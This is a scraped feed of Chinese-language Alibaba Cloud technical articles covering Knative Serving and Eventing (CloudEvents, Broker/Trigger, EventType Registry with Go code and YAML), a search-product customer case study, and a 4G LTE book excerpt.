        type Reconciler interface {
            Reconcile(ctx context.Context, key string) error
        }

        在 Reconcile 中调用 Knative API

        代码示例: https://github.com/knative-sample/serving-controller/blob/v0.1/pkg/controller/service.go
        5.png

        现在就可以在 Reconcile 中通过 c.serviceLister.Services(namespace).Get(name) 这种方式直接操作 Seving 资源了。

        至此已经把基于 Knative Seving 开发 Serverless 应用的关键脉梳理了一遍。更详细的代码示例请参见:https://github.com/knative-sample/serving-controller/tree/b1.0 ,这里面有完整可以运行的代码。
        本文提到的示例代码是基于 Knative 0.10 版本开发的,这个版本的 SDK 需要使用 Golang 1.13 才行。
        另外除了文章中提到的示例代码,提供另外一个例子(https://github.com/knative-sample/serving-sdk-demo/tree/b1.0) 这个例子是直接使用 Knative SDK 创建一个 ksvc,这两个例子的侧重点有所不同。可以参考着看。

        小结

        本文从 Knative Serving client 的初始化过程开始展开,介绍了 Knative informer 的设计以及使用方法。通过本文你可以了解到:

        参考资料

        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        定义无处不在的事件 - CloudEvent Fri, 02 May 2025 09:39:04 +0800 本文选自《Knative 云原生应用开发指南》
        knative海报.png
        更多云原生技术资讯可关注阿里巴巴云原生技术圈

        背景

        Event 事件无处不在,然而每个事件提供者产生的事件各不相同。由于缺乏事件的统一描述,对于事件的开发者来说需要不断的重复学习如何消费不同类型的事件。这也限制了类库、工具和基础设施在跨环境(如 SDK、事件路由或跟踪系统)提供事件数据方面的潜力。从事件数据本身实现的可移植性和生产力上受到了阻碍。

        什么是 CloudEvents

        CloudEvents 是一种规范,用于以通用格式描述事件数据,以提供跨服务、平台和系统的交互能力。
        事件格式指定了如何使用某些编码格式来序列化 CloudEvent。支持这些编码的兼容 CloudEvents 实现必须遵循在相应的事件格式中指定的编码规则。所有实现都必须支持 JSON 格式。

        协议规范

        命名规范

        CloudEvents 属性名称必须由 ASCII 字符集的小写字母(“a”到“z”)或数字(“0”到“9”)组成,并且必须以小写字母开头。属性名称应具有描述性和简洁性,长度不应超过20个字符。

        术语定义

        本规范定义如下术语:

        • Occurrence: “Occurrence”是指在软件系统运行期间捕获描述信息。
        • Event: "Event" 是表示事件及其上下文的数据记录。
        • Context:  Context 表示上下文,元数据将封装在 Context 属性中。应用程序代码可以使用这些信息来标识事件与系统或其他事件之间的关系。
        • Data: 实际事件中有效信息载荷。
        • Message: 事件通过 Message 从数据源传输到目标地址。
        • Protocol: 消息可以通过各种行业标准协议(如http、amqp、mqtt、smtp)、开源协议(如kafka、nats)或平台/供应商特定协议(aws-kineis、azure-event-grid)进行传递。

        上下文属性(Context Attributes)

        符合本规范的每个 CloudEvent 必须包括根据需要指定的上下文属性,并且可以包括一个或多个可选的上下文属性。
        参考示例:

        specversion: 0.2
          type: dev.knative.k8s.event
          source: /apis/serving.knative.dev/v1alpha1/namespaces/default/routes/sls-cloudevent
          id: 269345ff-7d0a-11e9-b1f1-00163f005e02
          time: 2019-05-23T03:23:36Z
          contenttype: application/json
        • type: 事件类型, 通常此属性用于路由、监控、安全策略等。
        • specversion: 表示 CloudEvents 规范的版本。引用 0.2 版本的规范时,事件生产者必须使用 0.2 设置此值。
        • source:表示事件的产生者, 也就是事件源。
        • id: 事件的 id
        • time: 事件的产生时间
        • contenttype: 表示Data 的数据内容格式

        扩展属性(Extension Attributes)

        CloudEvents 生产者可以在事件中包含其他上下文属性,这些属性可能用于与事件处理相关的辅助操作。

        Data

        正如术语Data所定义的,CloudEvents 产生具体事件的内容信息封装在数据属性中。例如,KubernetesEventSource所产生的 CloudEvent 的Data信息如下:

        data:
          {
            "metadata": {
              "name": "event-display.15a0a2b54007189b",
              "namespace": "default",
              "selfLink": "/api/v1/namespaces/default/events/event-display.15a0a2b54007189b",
              "uid": "9195ff11-7b9b-11e9-b1f1-00163f005e02",
              "resourceVersion": "18070551",
              "creationTimestamp": "2019-05-21T07:39:30Z"
            },
            "involvedObject": {
              "kind": "Route",
              "namespace": "default",
              "name": "event-display",
              "uid": "31c68419-675b-11e9-a087-00163e08f3bc",
              "apiVersion": "serving.knative.dev/v1alpha1",
              "resourceVersion": "9242540"
            },
            "reason": "InternalError",
            "message": "Operation cannot be fulfilled on clusteringresses.networking.internal.knative.dev "route-31c68419-675b-11e9-a087-00163e08f3bc": the object has been modified; please apply your changes to the latest version and try again",
            "source": {
              "component": "route-controller"
            },
            "firstTimestamp": "2019-05-21T07:39:30Z",
            "lastTimestamp": "2019-05-26T07:10:51Z",
            "count": 5636,
            "type": "Warning",
            "eventTime": null,
            "reportingComponent": "",
            "reportingInstance": ""
          }

        实现

        以 Go SDK 实现 CloudEvent 0.2 规范为例:

        事件接收服务

        • 导入cloudevents
        import "github.com/cloudevents/sdk-go"

        -通过 HTTP 协议接收 CloudEvent 事件

        func Receive(event cloudevents.Event) {
            fmt.Printf("cloudevents.Eventn%s", event.String())
        }
        
        func main() {
            c, err := cloudevents.NewDefaultClient()
            if err != nil {
                log.Fatalf("failed to create client, %v", err)
            }
            log.Fatal(c.StartReceiver(context.Background(), Receive));
        }

        事件发送服务

        • 创建一个基于  0.2 协议的 CloudEvent 事件
        event := cloudevents.NewEvent()
        event.SetID("ABC-123")
        event.SetType("com.cloudevents.readme.sent")
        event.SetSource("http://localhost:8080/")
        event.SetData(data)
        • 通过HTTP协议发送这个CloudEvent
        t, err := cloudevents.NewHTTPTransport(
            cloudevents.WithTarget("http://localhost:8080/"),
            cloudevents.WithEncoding(cloudevents.HTTPBinaryV02),
        )
        if err != nil {
            panic("failed to create transport, " + err.Error())
        }
        
        c, err := cloudevents.NewClient(t)
        if err != nil {
            panic("unable to create cloudevent client: " + err.Error())
        }
        if err := c.Send(ctx, event); err != nil {
            panic("failed to send cloudevent: " + err.Error())
        }

        这样我们就通过 Go SDK 方式实现了 CloudEvent 事件的发送和接收。

        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        关于 Broker/Trigger 事件模型 Fri, 02 May 2025 09:39:04 +0800 本文选自《Knative 云原生应用开发指南》
        knative海报.png
        更多云原生技术资讯可关注阿里巴巴云原生技术圈

        Broker 和 Trigger

        从 v0.5 开始,Knative Eventing 定义 Broker 和 Trigger 对象,从而能方便的对事件进行过滤(亦如通过 ingress 和 ingress controller 对网络流量的过滤一样)。

        • Broker 提供一个事件集,可以通过属性选择该事件集。它负责接收事件并将其转发给由一个或多个匹配 Trigger 定义的订阅者。
        • Trigger 描述基于事件属性的过滤器。同时可以根据需要创建多个 Trigger。

          如图:

        6.png

        当前实现方式

        Namespace

        通过Namespace Reconciler (代码:eventing/pkg/reconciler/v1alpha1/namespace/namespace.go)创建 broker。Namespace Reconciler 会查询所有带knative-eventing-injection: enabled 标签的 namespace。如果存在这样标签的 namespace, 那么Namespace Reconciler将会进行如下处理操作:

        1. 创建 Broker 过滤器的 ServiceAccount:eventing-broker-filter
        2. 通过 RoleBinding 确保 ServiceAccount 的 RBAC 权限
        3. 创建名称为 default 的 Broker
        // newBroker creates a placeholder default Broker object for Namespace 'ns'.
        func newBroker(ns *corev1.Namespace) *v1alpha1.Broker {
            return &v1alpha1.Broker{
                ObjectMeta: metav1.ObjectMeta{
                    Namespace: ns.Name,
                    Name:      defaultBroker,
                    Labels:    injectedLabels(),
                },
            }
        }

        Broker (事件代理)

        通过Broker Reconciler进行处理 broker,对于每一个 broker, 会进行一下处理操作:

        1. 创建 'trigger'Channel。所有在 Broker 中的 event 事件都会发送到这个Channel, 所有的 Trigger 会订阅这个Channel
        2. 创建'filter'Deployment。这个 Deployment 会运行cmd/broker/filter。其目的是处理与此 Broker 相关的所有 Trigger 的数据平面。说白了其实就做了两件事情,从 Channel 中接收事件,然后转发给事件的订阅者。
        3. 创建'filter' Kubernetes Service。通过该 Service 提供'filter' Deployment的服务访问。
        4. 创建'ingress' Deployment。这个 Deployment 会运行 cmd/broker/ingress。其目的是检查进入 Broker的所有事件
        5. 创建'ingress' Kubernetes Service。通过该 Service提供'Ingress' Deployment的服务访问。
        6. 创建'ingress' Channel。这是一个 Trigger 应答的 Channel。目的是将 Trigger 中返回的事件通过 Ingress Deployment 回写到 Broker。理想情况下,其实不需要这个,可以直接将 Trigger 的响应发送给 k8s Service。但是作为订阅的场景,只允许我们向 Channel 发送响应信息,所以我们需要这个作为中介。
        7. 创建'ingress' Subscription。它通过'ingress' Channel来订阅'ingress' Service

          代码如下:
        func (r *reconciler) reconcile(ctx context.Context, b *v1alpha1.Broker) (reconcile.Result, error) {
            // 1. Trigger Channel is created for all events. Triggers will Subscribe to this Channel.
            // 2. Filter Deployment.
            // 3. Ingress Deployment.
            // 4. K8s Services that point at the Deployments.
            // 5. Ingress Channel is created to get events from Triggers back into this Broker via the
            //    Ingress Deployment.
            //   - Ideally this wouldn't exist and we would point the Trigger's reply directly to the K8s
            //     Service. However, Subscriptions only allow us to send replies to Channels, so we need
            //     this as an intermediary.
            // 6. Subscription from the Ingress Channel to the Ingress Service.
        
            if b.DeletionTimestamp != nil {
                // Everything is cleaned up by the garbage collector.
                return nil
            }
        
            if b.Spec.ChannelTemplate == nil {
                r.Logger.Error("Broker.Spec.ChannelTemplate is nil",
                    zap.String("namespace", b.Namespace), zap.String("name", b.Name))
                return nil
            }
        
            gvr, _ := meta.UnsafeGuessKindToResource(b.Spec.ChannelTemplate.GetObjectKind().GroupVersionKind())
            channelResourceInterface := r.DynamicClientSet.Resource(gvr).Namespace(b.Namespace)
            if channelResourceInterface == nil {
                return fmt.Errorf("unable to create dynamic client for: %+v", b.Spec.ChannelTemplate)
            }
        
            track := r.channelableTracker.TrackInNamespace(b)
        
            triggerChannelName := resources.BrokerChannelName(b.Name, "trigger")
            triggerChannelObjRef := corev1.ObjectReference{
                Kind:       b.Spec.ChannelTemplate.Kind,
                APIVersion: b.Spec.ChannelTemplate.APIVersion,
                Name:       triggerChannelName,
                Namespace:  b.Namespace,
            }
            // Start tracking the trigger channel.
            if err := track(triggerChannelObjRef); err != nil {
                return fmt.Errorf("unable to track changes to the trigger Channel: %v", err)
            }
        
            logging.FromContext(ctx).Info("Reconciling the trigger channel")
            triggerChan, err := r.reconcileTriggerChannel(ctx, channelResourceInterface, triggerChannelObjRef, b)
            if err != nil {
                logging.FromContext(ctx).Error("Problem reconciling the trigger channel", zap.Error(err))
                b.Status.MarkTriggerChannelFailed("ChannelFailure", "%v", err)
                return err
            }
           ......
        
            filterDeployment, err := r.reconcileFilterDeployment(ctx, b)
            if err != nil {
                logging.FromContext(ctx).Error("Problem reconciling filter Deployment", zap.Error(err))
                b.Status.MarkFilterFailed("DeploymentFailure", "%v", err)
                return err
            }
            _, err = r.reconcileFilterService(ctx, b)
            if err != nil {
                logging.FromContext(ctx).Error("Problem reconciling filter Service", zap.Error(err))
                b.Status.MarkFilterFailed("ServiceFailure", "%v", err)
                return err
            }
            b.Status.PropagateFilterDeploymentAvailability(filterDeployment)
        
            ingressDeployment, err := r.reconcileIngressDeployment(ctx, b, triggerChan)
            if err != nil {
                logging.FromContext(ctx).Error("Problem reconciling ingress Deployment", zap.Error(err))
                b.Status.MarkIngressFailed("DeploymentFailure", "%v", err)
                return err
            }
        
            svc, err := r.reconcileIngressService(ctx, b)
            if err != nil {
                logging.FromContext(ctx).Error("Problem reconciling ingress Service", zap.Error(err))
                b.Status.MarkIngressFailed("ServiceFailure", "%v", err)
                return err
            }
            b.Status.PropagateIngressDeploymentAvailability(ingressDeployment)
            b.Status.SetAddress(&apis.URL{
                Scheme: "http",
                Host:   names.ServiceHostName(svc.Name, svc.Namespace),
            })
        
            ingressChannelName := resources.BrokerChannelName(b.Name, "ingress")
            ingressChannelObjRef := corev1.ObjectReference{
                Kind:       b.Spec.ChannelTemplate.Kind,
                APIVersion: b.Spec.ChannelTemplate.APIVersion,
                Name:       ingressChannelName,
                Namespace:  b.Namespace,
            }
        
            // Start tracking the ingress channel.
            if err = track(ingressChannelObjRef); err != nil {
                return fmt.Errorf("unable to track changes to the ingress Channel: %v", err)
            }
        
            ingressChan, err := r.reconcileIngressChannel(ctx, channelResourceInterface, ingressChannelObjRef, b)
            if err != nil {
                logging.FromContext(ctx).Error("Problem reconciling the ingress channel", zap.Error(err))
                b.Status.MarkIngressChannelFailed("ChannelFailure", "%v", err)
                return err
            }
            b.Status.IngressChannel = &ingressChannelObjRef
            b.Status.PropagateIngressChannelReadiness(&ingressChan.Status)
        
            ingressSub, err := r.reconcileIngressSubscription(ctx, b, ingressChan, svc)
            if err != nil {
                logging.FromContext(ctx).Error("Problem reconciling the ingress subscription", zap.Error(err))
                b.Status.MarkIngressSubscriptionFailed("SubscriptionFailure", "%v", err)
                return err
            }
            b.Status.PropagateIngressSubscriptionReadiness(&ingressSub.Status)
        
            return nil
        }

        Broker 示例:

        apiVersion: eventing.knative.dev/v1alpha1
        kind: Broker
        metadata:
          name: default
        spec:
          channelTemplateSpec:
            apiVersion: messaging.knative.dev/v1alpha1
            kind: InMemoryChannel

        Trigger (触发器)

        通过Trigger Reconciler进行处理 trigger,对于每一个 trigger, 会进行一下处理操作:

        1. 验证 Broker 是否存在
        2. 获取对应 Broker 的 Trigger Channel、 Ingress Channel 以及 Filter Service
        3. 确定订阅者的 URI
        4. 创建一个从 Broker 特定的 Channel 到这个 Trigger 的 kubernetes Service 的订阅。reply 被发送到

          Broker 的 ingress Channel。
        5. 检查是否包含 knative.dev/dependency 的注释。

          代码如下:
        func (r *reconciler) reconcile(ctx context.Context, t *v1alpha1.Trigger) error {
            ......
            // 1. Verify the Broker exists.
            // 2. Get the Broker's:
            //   - Trigger Channel
            //   - Ingress Channel
            //   - Filter Service
            // 3. Find the Subscriber's URI.
            // 4. Creates a Subscription from the Broker's Trigger Channel to this Trigger via the Broker's
            //    Filter Service with a specific path, and reply set to the Broker's Ingress Channel.
            // 5. Find whether there is annotation with key "knative.dev/dependency".
            // If not, mark Dependency to be succeeded, else figure out whether the dependency is ready and mark Dependency correspondingly
        
            if t.DeletionTimestamp != nil {
                // Everything is cleaned up by the garbage collector.
                return nil
            }
            // Tell tracker to reconcile this Trigger whenever the Broker changes.
            brokerObjRef := corev1.ObjectReference{
                Kind:       brokerGVK.Kind,
                APIVersion: brokerGVK.GroupVersion().String(),
                Name:       t.Spec.Broker,
                Namespace:  t.Namespace,
            }
        
            if err := r.tracker.Track(brokerObjRef, t); err != nil {
                logging.FromContext(ctx).Error("Unable to track changes to Broker", zap.Error(err))
                return err
            }
        
            b, err := r.brokerLister.Brokers(t.Namespace).Get(t.Spec.Broker)
            if err != nil {
                logging.FromContext(ctx).Error("Unable to get the Broker", zap.Error(err))
                if apierrs.IsNotFound(err) {
                    t.Status.MarkBrokerFailed("DoesNotExist", "Broker does not exist")
                    _, needDefaultBroker := t.GetAnnotations()[v1alpha1.InjectionAnnotation]
                    if t.Spec.Broker == "default" && needDefaultBroker {
                        if e := r.labelNamespace(ctx, t); e != nil {
                            logging.FromContext(ctx).Error("Unable to label the namespace", zap.Error(e))
                        }
                    }
                } else {
                    t.Status.MarkBrokerFailed("BrokerGetFailed", "Failed to get broker")
                }
                return err
            }
            t.Status.PropagateBrokerStatus(&b.Status)
        
            brokerTrigger := b.Status.TriggerChannel
            if brokerTrigger == nil {
                logging.FromContext(ctx).Error("Broker TriggerChannel not populated")
                r.Recorder.Eventf(t, corev1.EventTypeWarning, triggerChannelFailed, "Broker's Trigger channel not found")
                return errors.New("failed to find Broker's Trigger channel")
            }
        
            brokerIngress := b.Status.IngressChannel
            if brokerIngress == nil {
                logging.FromContext(ctx).Error("Broker IngressChannel not populated")
                r.Recorder.Eventf(t, corev1.EventTypeWarning, ingressChannelFailed, "Broker's Ingress channel not found")
                return errors.New("failed to find Broker's Ingress channel")
            }
        
            // Get Broker filter service.
            filterSvc, err := r.getBrokerFilterService(ctx, b)
            ......
        
            subscriberURI, err := r.uriResolver.URIFromDestination(*t.Spec.Subscriber, t)
            if err != nil {
                logging.FromContext(ctx).Error("Unable to get the Subscriber's URI", zap.Error(err))
                return err
            }
            t.Status.SubscriberURI = subscriberURI
        
            sub, err := r.subscribeToBrokerChannel(ctx, t, brokerTrigger, brokerIngress, filterSvc)
            if err != nil {
                logging.FromContext(ctx).Error("Unable to Subscribe", zap.Error(err))
                t.Status.MarkNotSubscribed("NotSubscribed", "%v", err)
                return err
            }
            t.Status.PropagateSubscriptionStatus(&sub.Status)
        
            if err := r.checkDependencyAnnotation(ctx, t); err != nil {
                return err
            }
        
            return nil
        }

        Trigger 示例:

        apiVersion: eventing.knative.dev/v1alpha1
        kind: Trigger
        metadata:
          name: my-service-trigger
        spec:
          broker: default
          filter:
            attributes:
              type: dev.knative.foo.bar
              myextension: my-extension-value
          subscriber:
            ref:
              apiVersion: serving.knative.dev/v1
              kind: Service
              name: my-service

        总结

        Broker/Trigger 模型出现的意义不仅在于其提供了消息过滤机制,更充分解耦了消息通道的实现,目前除了系统自身支持的基于内存的消息通道 InMemoryChannel 之外,还支持 Kafka、NATS Streaming 等消息服务。
        此外结合 CloudEvent 进行事件统一标准传输,无论对于客户端接入事件源,还是消费端提供的消费事件服务,都能极大的提升了应用的跨平台可移植性。

        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        【客户案例】开放搜索如何提升趣店商城20%的销量 Fri, 02 May 2025 09:39:04 +0800

        本文字数:1508
        阅读时间:约3~5分钟

        您将了解:
        1、搜索业务在快速发展过程中遇到问题
        2、为什么会选择开放搜索
        3、开放搜索如何满足销量增长需求

        以下是来自趣店搜索资深技术专家 樊庆响先生在2019云栖大会现场分享

        以下是正文


        趣店集团,成立于2014年3月,并与2017年成功在纽交所上市。2018年第四季度集团的注册人数超过7000万,中国领先的金融科技公司。

        image.png

        (樊庆响,趣店搜索资深技术专家)

        业务快速发展带来的搜索能力问题

        趣店的快速发展,离不开对核心业务的专注,其业务主要围绕着“现金业务”、“商城业务”两方面推进;在伴随业务量快速上升的过程中,趣店商城在商品品牌、数量、检索数量及难度上,对搜索技术带来了越来越高挑战。
        这就让我们对强大的搜索服务有了急迫的需求。

        image.png

        是选择,也是必然。

        对于成长型公司来说,时间成本、人力成本对发展速度具有决定性的影响,而我们能在3年内成功上市,也是因为将主要的时间、人力成本集中在核心业务上,包括用户拉新、升级现金业务。而对于搜索服务,我们希望能在市场上寻找合适的解决方案。

        趣店商城有很多资源搭建在阿里云上,比如RDS、Redus、消息队列等;而在2016年阿里云推出开放搜索相关服务的时候,我们就做了很多详细的调研,并且也尝试了除开放搜索以外,如Elasticsearch、以及自研搜索系统。综合对比很多案例,像钉钉、盒马、天猫超市、菜鸟等,最终我们还是觉得开放搜索更加合适,同时阿里云开放搜索又实现了开源。

        image.png

        选择开放搜索的四大原因

        成本低且高效

        开放搜索应用,从创建、数据上传、搜索调试、发布上线,初级工程3天时间就可以搞定,意味着在时间、人力成本上是非常低的,而且获得的是搜索功能上更好的能力支持。

        image.png

        强大的分词、解析能力

        我们最主要的应用场景是在趣店商城;像iPhone11的上市,我们前期会通过主营位来推荐,但很多用户还是会通过搜索来寻找商品,那么开放搜索符合用户需求的搜索分词能力,解决了我们这个问题。
        得益于达摩院分词以及阿里系电商平台的高关联度,开放搜索有着很好的分词、解析能力,很好的支持用户对商品的搜索匹配度。

        高性能、低时延

        搜索,往往是面对前端客户的使用需求的,那么高延迟的搜索反应会极大的影响用户的产品体验;刚开始我们在DB上部署相关搜索服务,但随着数据量的增加,伴随而来的是性能问题,这些都随着数据迁移至阿里云开放搜索以后,都得到了解决。

        开箱即用、托管、免运维

        将搜索服务放在开放搜索上,几乎没有运维成本。当我想调参、扩容、配置类目干预或者搜索干预、以及在双11大促方面的活动配置时,我们就会用到弹性扩容,这个时候,我们会预估整个峰值,来进行相关的弹性扩缩容操作,这些都仅需在控制台直接操作即可,不需要修改任何代码。

        以上是开放搜索整体的产品优势,趣店商城将一些数据推送给开放搜索,同时开放搜索输出一些用户想要的精确数据,从而提升商城的成交率、拉动GMV的提升。

        image.png

        定制个性化的搜索权重策略,是提升成单转化的关键

        趣店是一个分期商城,分类的权重配比是由团队对客户做特定分析而定,由于来趣店消费的用户大部分是买手机、3C类的产品,于是我们增加了3C方面的关键词权重。期间我们通过做A/B测试,对开放搜索在代码功能上做嵌入式改造,给一部分用户用A公式,另一部分用户用B公式,经过统计和测算后发现,加入了“销量数据”后,提高了整个搜索的成交量。在阿里云开放搜索上,由于后台提供粗排和精排的方式,我们只需要把精排的公式权重调整,就完成了整个工程。

        从搜索性能提升带来的销量提升

        在应用效益上,开放搜索解决了我们品牌、品类、关键词、销量、价格等一些简单的搜索问题,给用户带来了很好的搜索体验,同时良好的体验转化为了相关商品更多的精准曝光量,提升订单转化效果。使用开放搜索在技术上最明显的就是接口性能的提升,从100毫秒降低到了20毫秒。

        image.png

        以上是本次演讲的全部内容,分享了开放搜索一些应用经验,趣店是一个发展很快的团队,而在开放搜索的应用上,不仅在商城上,同时我们也会在新业务进行尝试,如大白汽车、电销搜索等,也都用到了开放搜索的能力。

        分享到此结束,谢谢大家。

        加入社区

        点击 订阅《阿里云搜索与推荐技术交流期刊》

        如果你想与更多开发者交流随时交流、了解最前沿的搜索与推荐技术,可以扫码加入社群


        TB10DYxkYY1gK0jSZTEXXXDQVXa-894-1075.jpg

        ]]>
        事件注册机制 - Registry Fri, 02 May 2025 09:39:04 +0800 本文选自《Knative 云原生应用开发指南》
        knative海报.png

        更多云原生技术资讯可关注阿里巴巴云原生技术圈

        背景

        作为事件消费者,之前是无法事先知道哪些事件可以被消费,如果能通过某种方式获得哪些 Broker 提供哪些事件,那么事件消费者就能很方便通过这些 Broker 消费事件。Registry 就是在这样的背景下被提出的,通过 Registry 机制,消费者能针对特定的 Broker 的事件通过 Trigger 进行事件订阅消费。这里需要说明一下,Registry 设计与实现目前是针对 Broker/Trigger 事件处理模型。

        诉求

        • 每个Registry 对应一个 Namespace 作为资源隔离的边界
        • Registry 中包括事件类型列表,以提供事件发现机制,通过事件列表,我们可以决定对哪些 Ready 的事件进行消费
        • 由于事件最终需要通过 Trigger 进行订阅,因此事件类型信息中需要包括创建 Trigger 所需要的信息。

        实现

        定义 EventType CRD 资源

        定义 EventType 类型的CRD资源,示例yaml:

        apiVersion: eventing.knative.dev/v1alpha1
        kind: EventType
        metadata:
          name: com.github.pullrequest
          namespace: default
        spec:
          type: com.github.pull_request
          source: github.com
          schema: //github.com/schemas/pull_request
          description: "GitHub pull request"
          broker: default
        • name: 设置时需要符合k8s命名规范
        • type:遵循CloudEvent 类型设置。
        • source: 遵循 CloudEvent source设置。
        • schema: 可以是JSON schema, protobuf schema等。可选项。
        • description: 事件描述,可选项。
        • broker: 所提供 EventType 的 Broker。

        事件注册与发现

        1.创建 EventType
        一般我们通过以下两种方式创建 EventType 实现事件的注册。
        1.1通过Event 事件源实例自动注册
        基于事件源实例,通过事件源控制器创建 EventType 进行注册:

        apiVersion: sources.eventing.knative.dev/v1alpha1
        kind: GitHubSource
        metadata:
          name: github-source-sample
          namespace: default
        spec:
          eventTypes:
            - push
            - pull_request
          ownerAndRepository: my-other-user/my-other-repo
          accessToken:
            secretKeyRef:
              name: github-secret
              key: accessToken
          secretToken:
            secretKeyRef:
              name: github-secret
              key: secretToken
          sink:
            apiVersion: eventing.knative.dev/v1alpha1
            kind: Broker
            name: default

        通过运行上面的yaml信息,通过GitHubSource 事件源控制器可以创建事件类型dev.knative.source.github.push以及事件类型dev.knative.source.github.pull_request这两个EventType进行注册,其中source为github.com以及名称为default的Broker。具体如下:

        apiVersion: eventing.knative.dev/v1alpha1
        kind: EventType
        metadata:
          generateName: dev.knative.source.github.push-
          namespace: default
          owner: # Owned by github-source-sample
        spec:
          type: dev.knative.source.github.push
          source: github.com
          broker: default
        ---
        apiVersion: eventing.knative.dev/v1alpha1
        kind: EventType
        metadata:
          generateName: dev.knative.source.github.pullrequest-
          namespace: default
          owner: # Owned by github-source-sample
        spec:
          type: dev.knative.source.github.pull_request
          source: github.com
          broker: default

        这里有两点需要注意:

        • 通过自动生成默认名称,避免名称冲突。对于是否应该在代码(在本例中是GithubSource控制器)创建事件类型时生成,需要进一步讨论。
        • 我们给spec.type加上了dev.knative.source.github.前缀,这个也需要进一步讨论确定是否合理。

        1.2手动注册
        直接通过创建EventType CR资源实现注册,如:

        apiVersion: eventing.knative.dev/v1alpha1
        kind: EventType
        metadata:
          name: org.bitbucket.repofork
          namespace: default
        spec:
          type: org.bitbucket.repo:fork
          source: bitbucket.org
          broker: dev
          description: "BitBucket fork"

        通过这种方式可以注册名称为org.bitbucket.repofork, type 为 org.bitbucket.repo:fork, source 为 bitbucket.org 以及属于dev Broker 的 EventType。

        2.获取 Registry 的事件注册
        事件消费者可以通过如下方式获取 Registry 的事件注册列表:
        $ kubectl get eventtypes -n default

        NAME                                         TYPE                                    SOURCE          SCHEMA                              BROKER     DESCRIPTION           READY   REASON
        org.bitbucket.repofork                       org.bitbucket.repo:fork                 bitbucket.org                                       dev        BitBucket fork        False   BrokerIsNotReady
        com.github.pullrequest                       com.github.pull_request                 github.com      //github.com/schemas/pull_request   default    GitHub pull request   True 
        dev.knative.source.github.push-34cnb         dev.knative.source.github.push          github.com                                          default                          True 
        dev.knative.source.github.pullrequest-86jhv  dev.knative.source.github.pull_request  github.com                                          default                          True

        3.Trigger 订阅事件
        最后基于事件注册列表信息,事件消费者创建对应的Trigger对Registry中的EventType进行监听消费
        Trigger示例:

        apiVersion: eventing.knative.dev/v1alpha1
        kind: Trigger
        metadata:
          name: my-service-trigger
          namespace: default
        spec:
          filter:
            sourceAndType:
              type: dev.knative.source.github.push
              source: github.com
          subscriber:
            ref:
             apiVersion: serving.knative.dev/v1alpha1
             kind: Service
             name: my-service

        总结

        Registry 的设计主要是针对 Broker/Trigger 事件处理模型。创建事件源资源时,会创建EventType注册到Registry。在实现方面,我们可以检查Event Source的Sink类型是否是Broker,如果是,则对其注册EventType。

        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        4G LTE同构宏蜂窝和异构微蜂窝概述 | 带你读《5G UDN(超密集网络)技术详解》之三 Fri, 02 May 2025 09:39:04 +0800 第一章 5G 前蜂窝移动历史

        1.1 5G前蜂窝移动系统和业务概述

        |1.2 4G LTE同构宏蜂窝和异构微蜂窝概述 |

        4G 时代最有代表性的蜂窝移动系统就是 LTE,对应的无线接入技术就是 E-UTRA,它由 3GPP 项目组织领导进行了多版本的标准化。从 2008 年的 Rel-8 初始版本开始(准 4G 系统),演进到 2010 年被称为 LTE-A(真正 4G 系统)的 Rel-10 版本,至 2017 年已演进到 Rel-15 版本。由于是长期演进, 所以 E-UTRA 每个新版本都必须保证后向兼容性,即低版本的终端也能正常 接入和使用高版本的 E-UTRA 网络。LTE 网络相比过去的 2G/3G 网络,采取 了无线接入网(RAN,Radio Access Network)“扁平化架构”,如图 1-3 所示。 基站 eNB 是无线接入网 E-UTRAN 内的唯一逻辑节点(注:eNB 物理实现上 也可以通过设备厂家的私有接口分开,但标准逻辑上是同一网元节点),UE 只 有两个 RRC 状态,即空闲态 RRC_IDLE 和连接态 RRC_CONNECTED。“扁 平化架构”使得无线接入侧的所有网络功能,如接入控制、无线资源分配调度、信令和用户数据传输最大限度地靠近空中接口(空口 Uu),以快速适配空口动 态变化的无线资源环境,从而提升系统的效率性能。同时它还能进一步降低基 站 eNB 和终端 UE 之间的数据传输时延。LTE 系统 E-UTRAN 中的逻辑节点 和接口类型精简,避免了很多不同网元节点间的互联互通测试(IOT,InterOperatability Test)等问题,从而增强了蜂窝系统的稳定性和运维性。
        eNB 通过直连的逻辑接口 S1,和核心网控制面网元节点 MME 以及用户 面网元节点 SGW 相连接,它们之间可以是多对多的 Flex 连接关系。由于架构 扁平化的特征,处于相同逻辑架构层级的基站 eNB 之间,可以通过直连的逻辑 接口 X2 进行移动性操作和数据协作传输联合操作,这也可以一定程度地增强 LTE 小区边缘的容量和性能,克服终端和 eNB 基站之间通信的“远近效应”, 形成相对平滑一致的无线覆盖和系统容量供给(注:这里相邻的 eNB 基站虽处 于相同的逻辑架构层级,但它们可以是不同类型和功能集合的基站,可扮演着 不同的逻辑角色)。不同于过去的2G/3G网络,LTE采取了“单一核心网PS域”, 不再独立区分传统蜂窝的 CS 域和 PS 域,用统一 PS 域提供了所有 EPS 承载 级别的用户业务承载。各种拥有不同服务质量要求(QoS Profile,Quality of Service Profile)和属性特征(QCI、GBR、AMBR、ARP)的业务数据包(包 括话音数据包),都要通过基站 eNB 配置的数据无线承载(DRB,Data Radio Bearer)来进行统一且差分的处理和上下行数据包在空口的传输。LTE 系统 既能支持一些 QoS 被标准化的常见数据业务类型,用标准化的 QCI 来表达其 QoS 特征,也可以支持那些 QoS 没被标准化的其他数据业务。
        image.png
